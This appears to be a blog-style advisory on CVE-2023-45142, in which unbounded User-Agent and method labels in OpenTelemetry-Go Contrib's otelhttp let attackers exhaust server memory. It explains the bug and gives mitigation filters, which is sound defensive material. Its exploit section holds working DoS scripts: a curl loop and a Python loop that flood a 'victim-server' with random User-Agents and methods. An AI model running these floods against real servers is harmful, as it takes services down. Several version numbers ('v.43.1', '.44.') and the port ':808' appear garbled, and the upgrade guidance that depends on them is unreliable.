CVE-2023-45142 is a serious vulnerability discovered in the OpenTelemetry-Go Contrib library, a collection of third-party packages for OpenTelemetry-Go. The bug directly affects how HTTP handler wrappers in this library collect and store labels—specifically, the http.user_agent and http.method attributes.

Attackers can take advantage of this by sending lots of requests with unique or random User-Agent strings or HTTP Methods. These unique values get logged as unique label values, and since they are not restricted, this can eventually cause the server’s memory usage to explode, potentially resulting in a denial-of-service (DoS).

Let’s break down how this happens, see some example code, and learn what has been fixed and what you can do if you’re still on a vulnerable version.

How the Vulnerability Works

The core of this issue is uncontrolled cardinality. Cardinality, in this context, is the number of unique label values you generate for metrics or traces. Tracing systems (like OpenTelemetry) often perform poorly when a metric label can have unbounded/uncapped values.

In the vulnerable versions up to v.43.1 of go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp, any and all HTTP Methods and User-Agent strings from requests are included as unique label values. The source of this problem is the use of httpconv.ServerRequest, which populates the attributes for every unique value provided by the client.

Here’s how a Go program might use the handler, exposing itself to this vulnerability

import (
    "net/http"
    "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp"
)

func main() {
    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte("Hello, world!"))
    })

    // This wraps the handler for tracing
    wrappedHandler := otelhttp.NewHandler(handler, "example-server")

    http.ListenAndServe(":808", wrappedHandler)
}

What happens?
If an attacker sends a flood of requests—each with a random User-Agent value or a non-standard HTTP method—each new value is stored as a unique attribute (label) in the trace or metrics output. Over time, this overwhelms the server.

Exploit Example

This exploit is trivial. For instance, from the attacker's side, you can send HTTP requests with random long User-Agent headers:

for i in {1..100000}
do
    curl -A "RandomAgent_$RANDOM$RANDOM$RANDOM" http://victim-server:808/
done

Or, using random HTTP methods (note that curl supports only some, but with raw sockets or a tool like httpie or Python, you could send arbitrary non-standard methods):

import requests

for i in range(100000):
    random_method = 'RANDOM' + str(i)
    requests.request(random_method, "http://victim-server:808/")

This barrage quickly leads to memory exhaustion due to thousands of distinct label values in telemetry.

You use the otelhttp.NewHandler wrapper (as above) for your HTTP server.

- You do not filter/normalize the incoming HTTP Methods or User Agent strings anywhere upstream (like at a CDN, Load Balancer, or middleware).

Fixed Versions and Patch Details

The issue is resolved in version .44. of opentelemetry-go-contrib. The main fix changes the behavior so that the collected value for http.request.method now only allows a small set of well-known HTTP methods (such as GET, POST, PUT, etc.), and removes other high-cardinality attributes.

Now, if a method or User-Agent is unknown or non-standard, it will be recorded as "unknown" instead of the actual value, preventing cardinality explosion.

See the main GitHub pull request #3868 for the patch.

If you cannot immediately upgrade, you can mitigate this vulnerability with a manual filter

wrappedHandler := otelhttp.NewHandler(
    handler,
    "example-server",
    otelhttp.WithFilter(func(r *http.Request) bool {
        // Block non-standard methods (or unknown User-Agent here as well)
        switch r.Method {
        case http.MethodGet, http.MethodPost, http.MethodPut, http.MethodDelete, http.MethodPatch:
            return true
        default:
            return false // block everything else
        }
    }),
)

Or, to block strange User-Agent strings

import "strings"

otelhttp.WithFilter(func(r *http.Request) bool {
    if len(r.UserAgent()) > 24 || strings.Contains(r.UserAgent(), "Random") {
        return false // skip suspicious User-Agents
    }
    return true
})

Caution:
Be careful—overly tight filters can cause you to miss important traces. You want to balance safety with visibility.

Update to at least v.44. of opentelemetry-go-contrib as soon as possible.

- Put application-level or middleware-level filters if you’re accepting public traffic and can’t immediately upgrade.
- If using a CDN or Load Balancer, consider configuring it to drop unknown HTTP methods or very long/unknown User-Agent strings.

For safe, future-proof usage of such libraries

- Attribute labeling for high-cardinality fields (like User-Agent) should default to "unknown" for non-standard values, but users should have the ability to toggle more verbose logging *if they understand the risk*.
- Alert and educate maintainers and contributors about the risk of high-cardinality in observable labels.

Useful References

- CVE-2023-45142 at NIST NVD
- OpenTelemetry Go Contrib Advisory
- Patch PR on GitHub
- Release Notes for v.44.

Final Word

Do not underestimate high cardinality risks.
If you’re collecting telemetry from user-controlled fields, always check if untrusted data could be used as attribute values. OpenTelemetry-Go Contrib's "otelhttp.NewHandler" is now safe by default, but this is a lesson in staying alert about data that comes directly from user input.

For Go teams, always use the latest supported telemetry libraries—and lock down risky config options.


*If you found this write-up helpful, consider sharing it with your team and reviewing your observability configurations today!*

Timeline

Published on: 10/12/2023 17:15:09 UTC
Last modified on: 10/18/2023 18:27:50 UTC